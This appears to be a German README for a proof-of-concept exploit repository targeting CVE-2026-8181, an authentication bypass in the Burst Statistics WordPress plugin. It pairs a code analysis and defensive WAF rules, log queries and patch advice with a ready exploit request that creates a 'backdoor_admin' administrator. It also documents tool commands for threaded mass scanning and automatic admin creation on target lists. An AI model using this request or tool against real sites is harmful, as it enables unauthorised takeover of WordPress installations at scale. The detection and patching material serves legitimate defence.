
Python PoC für CVE-2026-8181, einen kritischen Authentifizierungs-Bypass im Burst Statistics WordPress-Plugin. Beinhaltet Exploit-Automatisierung, Massenscan und Erstellung von Administratorkonten für autorisierte Sicherheitstests.
[!CAUTION] KRITISCHER HINWEIS: Diese Schwachstelle ermöglicht es einem nicht authentifizierten entfernten Angreifer, die Authentifizierung zu umgehen und volle Administratorrechte auf der Ziel-WordPress-Seite zu erlangen, indem er lediglich einen benutzerdefinierten HTTP-Header injiziert. Diese CVE wird derzeit aktiv in freier Wildbahn ausgenutzt.
CVE-2026-8181 ist eine kritische Authentifizierungsumgehung-Schwachstelle, die das Burst Statistics WordPress-Plugin (Versionen 3.4.0 bis 3.4.1.1) betrifft. Der Fehler liegt in der MainWP-Proxy-Integration des Plugins. Aufgrund einer unzureichenden Validierung von Anwendungspasswörtern während des frühen plugins_loaded-Hooks gewährt das Plugin fälschlicherweise Administratorkontext für REST-API-Anfragen, die den X-BurstMainWP: 1-Header enthalten, selbst wenn die Anfrage keine gültigen Anmeldedaten enthält.
Dadurch wird eine einfache, nicht authentifizierte HTTP-Anfrage in eine vollständige administrative Übernahme umgewandelt, die alle Standard-WordPress-Authentifizierungsmechanismen umgeht.
Um zu verstehen, wie ein einfacher Header die Schlüssel zum Königreich gewährt, müssen wir die PHP-Logik im Authentifizierungs-Handler des Plugins analysieren.
Die Schwachstelle resultiert aus einem fehlerhaft behandelten bedingten Zweig in includes/Frontend/class-mainwp-proxy.php innerhalb der Methode is_mainwp_authenticated().
init() auf plugins_loaded mit Priorität 9. Dies ist zu früh im WordPress-Lebenszyklus.X-BurstMainWP: 1 trägt, delegiert has_admin_access() die Authentifizierung an is_mainwp_authenticated().Authorization-Header und leitet die Anmeldedaten an die WordPress-Kernfunktion wp_authenticate_application_password() weiter.application_password_is_api_request noch nicht auf true gesetzt hat (aufgrund der frühen Hook-Ausführung), gibt die Kernfunktion null statt eines WP_Error-Objekts zurück.// Simplified representation of the vulnerable code in Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // Correctly handles explicit authentication failures
}
// 🚨 THE FATAL FLAW 🚨
// If no application password is provided or API request isn't flagged yet,
// wp_authenticate_application_password returns NULL.
// The code fails to check for NULL!
if ( $user === null ) {
// Instead of failing securely, it falls through to this unsafe branch:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // BOOM: Admin context granted!
return true;
}
Dieser Abschnitt ist für Red Teamer und autorisierte Penetrationstester.
/wp-content/plugins/burst-statistics/readme.txt).GET /wp-json/wp/v2/users preis. Falls blockiert, den Author-Archive-Trick verwenden: /?author=1.POST /wp-json/wp/v2/users.X-BurstMainWP: 1Authorization: Basic <base64(admin_username:fake_password)>null-Prüfung und stuft die Anfrage auf Administratorkontext hoch. Der neue Admin-Benutzer wird erstellt.POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] Umgebungshinweis: Dieser Exploit erfordert, dass der
Authorization-Header PHP erreicht.
- Nginx / LiteSpeed / Apache mit Pretty Permalinks: Der Header wird weitergeleitet. Exploit ERFOLGREICH.
- Apache mit Plain Permalinks (Standard): Der Header wird vom Webserver stillschweigend entfernt. Exploit FEHLGESCHLAGEN.
Dieser Abschnitt ist für Blue Teamer, SOC-Analysten und Systemadministratoren.
Den spezifischen Header am Edge blockieren oder überwachen.
ModSecurity / OWASP CRS-Regel:
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
Cloudflare WAF-Benutzerdefinierte Regel:
(http.request.headers["X-BurstMainWP"] eq "1")
Durchsuchen Sie Ihre Webserver-Logs nach dem Vorhandensein des Headers in Kombination mit der REST-API-Benutzererstellung.
Splunk / ELK-Abfrage:
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
Wenn Sie einen Einbruch vermuten, suchen Sie nach diesen Artefakten nach der Ausnutzung:
wp_users-Tabelle auf Benutzer, die über die REST-API mit der Rolle administrator erstellt wurden.wp-content/plugins/ auf nicht autorisierte Uploads (oft Webshells, die als legitime Plugins getarnt sind).wp-content/themes/ oder Kern-Dateien auf nicht autorisierte Änderungen.[!IMPORTANT] Sofortige Maßnahme erforderlich: Wenn Sie eine anfällige Version betreiben, wenden Sie sofort eine der folgenden Gegenmaßnahmen an.
Dieses Repository enthält CVE-2026-8181.py, ein Python-Automatisierungstool zur Überprüfung der Schwachstelle in autorisierten Laborumgebungen.
# 1. Install dependencies
pip3 install requests urllib3
# 2. Single Site Recon & Auto-Provision New Admin
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k
# 3. Bulk Scan with Combined Success File
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k
# 4. Bulk Scan with Individual Host Reports
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k
[!WARNING] NUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS.
Die in diesem Repository bereitgestellten Informationen dienen ausschließlich Bildungszwecken, Sicherheitsforschung und autorisierten Penetrationstests. Das Ausnutzen von Schwachstellen gegen Systeme ohne ausdrückliche schriftliche Genehmigung des Systemeigentümers ist illegal und verstößt gegen internationale Cybergesetze.
Die Autoren und Mitwirkenden dieses Repositorys übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch, Schäden oder rechtliche Konsequenzen, die sich aus der Nutzung dieses Tools oder dieser Informationen ergeben. Hacken Sie stets verantwortungsvoll und ethisch.
is_wp_error( $user ). Da null kein WP_Error ist, wird die Sicherheitsabfrage passiert.wp_set_current_user() mit einem angreifergesteuerten Benutzernamen auf und hebt die Anfrage sofort auf vollen Administratorkontext.| Priorität | Maßnahme | Details |
|---|
| P0 | Plugin patchen | Aktualisieren Sie Burst Statistics auf Version 3.4.2 oder höher sofort über das WordPress-Dashboard. |
| P1 | WAF-Virtuelles Patchen | Falls Sie nicht sofort patchen können, setzen Sie die WAF-Regeln (oben) ein, um den X-BurstMainWP-Header zu blockieren. |
| P2 | Benutzer-Ermittlung einschränken | Verwenden Sie ein Sicherheits-Plugin oder .htaccess-Regeln, um den öffentlichen Zugriff auf /wp-json/wp/v2/users und /?author=* zu blockieren. |
| P3 | Benutzer & Dateien prüfen | Führen Sie ein Skript aus, um kürzlich erstellte Administrator-Konten zu überprüfen und nicht autorisierte Zugriffe zu widerrufen. Scannen Sie nach Webshells. |
| Funktion | Beschreibung |
|---|
| 🎯 Einzelziel | Scannen einer bestimmten Website mit dem -u-Flag. |
| 📦 Batch-Betrieb | Einspeisen einer Liste von Zielen über -f targets.txt (unterstützt # für Kommentare). |
| ⚡ Parallelität | Beschleunigen von Batch-Scans mit Threaded Workern (-j N). |
| 💾 Intelligente Ausgabe | -o file.txt für einen kombinierten Bericht. Im Batch-Modus werden nur erfolgreiche Exploits protokolliert. |
| 📂 Pro-Host-Dumps | Verwenden Sie --output-dir, um einzelne .txt-Dateien für jeden kompromittierten Host zu speichern. |
| 👤 Admin-Erstellung | Übergeben Sie --create-user, um automatisch ein neues Administrator-Konto über die REST-API bereitzustellen. |
| 🔓 Labor-TLS | Verwenden Sie -k, um SSL-Zertifikatsfehler zu ignorieren (streng genommen nur für lokale/vertrauenswürdige Laborumgebungen). |